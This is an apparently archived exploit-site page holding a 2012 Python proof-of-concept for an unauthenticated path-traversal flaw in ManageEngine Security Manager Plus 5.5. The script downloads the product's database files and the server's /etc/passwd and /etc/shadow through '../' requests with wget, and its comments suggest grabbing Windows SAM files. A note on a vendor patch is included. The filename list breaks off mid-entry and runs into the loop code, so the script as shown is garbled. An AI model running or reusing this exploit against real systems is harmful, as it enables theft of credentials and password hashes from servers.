Home / exploits ManageEngine Security Manager Plus 5.5 Traversal
Posted on 20 October 2012
#!/usr/bin/python #+--------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : Security Manager Plus <= 5.5 build 5505 Path Traversal (Win+Linux) # Date : 18-10-2012 # Author : xistence (xistence<[AT]>0x90.nl) # Software link : http://www.manageengine.com/products/security-manager/81779457/ManageEngine_SecurityManager_Plus.exe (Win) # Software link : http://www.manageengine.com/products/security-manager/81779457/ManageEngine_SecurityManager_Plus.zip (Linux) # Vendor site : http://www.manageengine.com/ # Version : 5.5 build 5505 and lower # Tested on : CentOS 5.x + Windows XP/2008 # # Vulnerability : The Path Traversal is possible on the "store" url, without any authentication. This allows us to download the complete # database and thus gather windows/linux logins which are used for patching the servers. It will also download the # passwd and shadow files as Security Manager Plus runs with root/SYSTEM privileges. Modify it to make it work on windows, # and grab SAM files or other files. NOTE: At least one patch must have been downloaded in Security Manager Plus already. # # Fix: # 1. Go to SMP server system and stop SMP service. # 2. Download the SMP_Vul_fix.zip file from : http://bonitas.zohocorp.com/4264259/scanfi/31May2012/SMP_Vul_fix.zip # 3. Extract the downloaded file which contains four files : AdvPMServer.jar, AdvPMClient.jar, scanfi.jar and AdventNetPMUnixAgent.jar # 3. Copy the extracted .jar files to <SMP-HOME>lib directory (e.g., C:AdventNetSecurityManagerlib). [Overwrite the existing jar files and do not rename them] # 4. Start the SMP service. #+--------------------------------------------------------------------------------------------------------------------------------+ import os, sys if (len(sys.argv) != 2): print "" print "[*] Security Manager Plus Path Traversal Exploit - xistence (xistence<[at]>0x90.nl) - 2012-05-29" print "" print "[*] Usage: secman-path.py <RHOST>" print "[*] I.e.: ./secman-path.py www.manageengine.com" print "[*]" print "[*] RHOST = Remote Host which runs Security Manager Plus" print "" print "" exit(0) rhost = sys.argv[1] dbFiles = ['StatusPropagateCriteria.frm', 'UserPatchComment.frm', 'I18nLanguageCountry.frm', 'Udef_Class_Range.frm', 'AaaUserContactInfo.frm', 'JoinTable.frm', 'GlobalCredential.frm', 'PMWinOS.frm', 'SysDetails.frm', 'AaaRole.frm', 'Time_Expressions.frm', 'DCSupportedApplications.frm', 'ACSQLString.frm', 'DeviceInventoryItems.frm', 'ACFeedBackProperties.frm', 'AaaPasswordHint.frm', 'AllowedValues.frm', 'Integral_Agg_Vars.frm', 'ACCountSQLString.frm', 'AaaServicePasswordRule.frm', 'ACCacheConfig.frm', 'AaaOrgDetail.frm', 'Array_List.frm', 'ViewCustomizer.frm', 'DeviceAuditInfo.frm', 'AaaAccountOwner.frm', 'DeviceToServicePack.frm', 'MSPMDependencyServicePack.frm', 'NENetwork.frm', 'ACUserFilterGroup.frm', 'WeeklyVulnID.frm', 'RegistryChanges.frm', 'PMPatchType.frm', 'NetworkTopology.frm', 'VulnerabilityScanDetails.frm', 'AaaAccSessionProp.frm', 'Int_Expr_To_Int.frm', 'JoinRelCriteria.frm', 'AaaModuleService.frm', 'ClientServiceProviders.frm', 'PCIQuery.frm', 'Upd_Row_Task_Template.frm', 'JoinCriteria.frm', 'LinuxAppGroup.frm', 'Start_End_Count.frm', 'OpenPorts.frm', 'DevicePatchTaskInput.frm', 'Free5IPs.frm', 'Int_DataObj_Expr.frm', 'Pattern_Variables.frm', 'DevicePatchStatusAuditInfo.frm', 'Email_Message.frm', 'TestReport.frm', 'ACLink.frm', 'Decimal_DataObj_Vars.frm', 'IPInterfaceNetwork.frm', 'ACUserClientState.frm', 'ScanPolicy.frm', 'OfficeMediaLocation.frm', 'ServicePackStoreAuditInfo.frm', 'PMScanVulDetails.frm', 'Iter_DataObj_Task.frm', 'PatchGroup.frm', 'Bool_Str_Dataobj_Expr.frm', 'OracleErrorCode.frm', 'SystemInfo.frm', 'Upd_DataObj_Var_Task.frm', 'BulletinDatastore.frm', 'SmtpConfiguration.frm', 'AaaOrgUser.frm', 'PMScheduledTaskDetails.frm', 'AaaOrgPostalAddr.frm', 'User_Def_Char_Class.frm', 'FileHandler.frm', 'AaaService.frm', 'ACAjaxFormOption.frm', 'ScheduleScanTaskInput.frm', 'ColumnDetails.frm', 'Boolean_Variables.frm', 'ACElement.frm', 'ACViewToGroupMapping.frm', 'DeviceToPatch.frm', 'Int_Const_Opr_Expr.frm', 'AaaPamModuleOption.frm', 'GroupVulnerabilities.frm', 'Pattern_Expressions.frm', 'GroupCompNotification.frm', 'MSCommand.frm', 'ACContextHelp.frm', 'Rules_To_Statements.frm', 'String_Matcher_Group.frm', 'DeviceToMSSoftware.frm', 'Task_Owner.frm', 'AaaMethodParams.frm', 'IPv4Address.frm', 'I18nLocalMsg.frm', 'Theme.frm', 'Repair.frm', 'Num_Const_Opr_Expr.frm', 'ACParams.frm', 'AaaTableUpdatePermission.frm', 'PatchDetectionCheck.frm', 'Templates_To_Relvars.frm', 'WindowsUsers.frm', 'MSRegChg.frm', 'NetworkDomainInfo.frm', 'ActiveDirectoryInfo.frm', 'Udef_Expr_Opr_Expr.frm', 'ScheduledReports.frm', 'UpdateDefinition.frm', 'GroupTicNotification.frm', 'ResourceFalsePositiveVulns.frm', 'FolderChanges.frm', 'WebViewConfig.frm', 'PMOfficeEditionType.frm', 'ACClientProps.frm', 'ACFilterConfigList.frm', 'EPMTaskInput.frm', 'AdditionalViewParams.frm', 'Quotation.frm', 'Str_Expr_To_Str.frm', 'bla.py', 'Network.frm', 'WindowsGroups.frm', 'ACTableFilterListRel.frm', 'PMTaskDetails.frm', 'LatestResourceScans.frm', 'Loop_Task_Template.frm', 'YSeriesColumn.frm', 'AaaAccOldPassword.frm', 'ConstituentTable.frm', 'FalsePositiveTestCase.frm', 'AaaOrganization.frm', 'PatchStoreLocation.frm', 'Print_Log_RelVars.frm', 'DeviceTaskInput.frm', 'PdfViewConfig.frm', 'Rules.frm', 'ProductDetectionCheck.frm', 'TreeQuery.frm', 'WebUIComponent.frm', 'AaaAce.frm', 'Pointers_In_Path.frm', 'NetworkDnsInfo.frm', 'LinuxPackageDependency.frm', 'UserNamePassword.frm', 'ManagedResource.frm', 'ProfileGroupMap.frm', 'ScanAddressGroup.frm', 'Default_Task_Conf.frm', 'AaaAccBadLoginStatus.frm', 'Pattern_Template_Vars.frm', 'PatchApplicableDetails.frm', 'NEComponent.frm', 'FKColumnDefinition.frm', 'Str_Deriv_Int_Vars.frm', 'Par_Char_Class_Expr.frm', 'Bool_Num_Comp_Decimal.frm', 'PatchDependencyCheck.frm', 'Logger.frm', 'Email_CC_Address.frm', 'MSAffectedServicePack.frm', 'AaaUserStatus.frm', 'DownloadFiles.frm', 'AuditSeverityLevel.frm', 'JavaScriptAction.frm', 'HTTPDirList.frm', 'AaaOrgStatus.frm', 'Templates.frm', 'OSLanguage.frm', 'TablesInTree.frm', 'TestCasePattern.frm', 'ValidationFiles.frm', 'ReverseDNSEntries.frm', 'CC_Address.frm', 'P for blah in dbFiles: print "[*] Downloading file: " + blah os.system("wget -q http://%s:6262/store?f=../mysql/data/securitymanager/%s -O %s" % (rhost, blah, blah)) os.system("wget http://%s:6262/store?f=../../../../../etc/passwd -O passwd" % rhost) os.system("wget http://%s:6262/store?f=../../../../../etc/shadow -O shadow" % rhost)
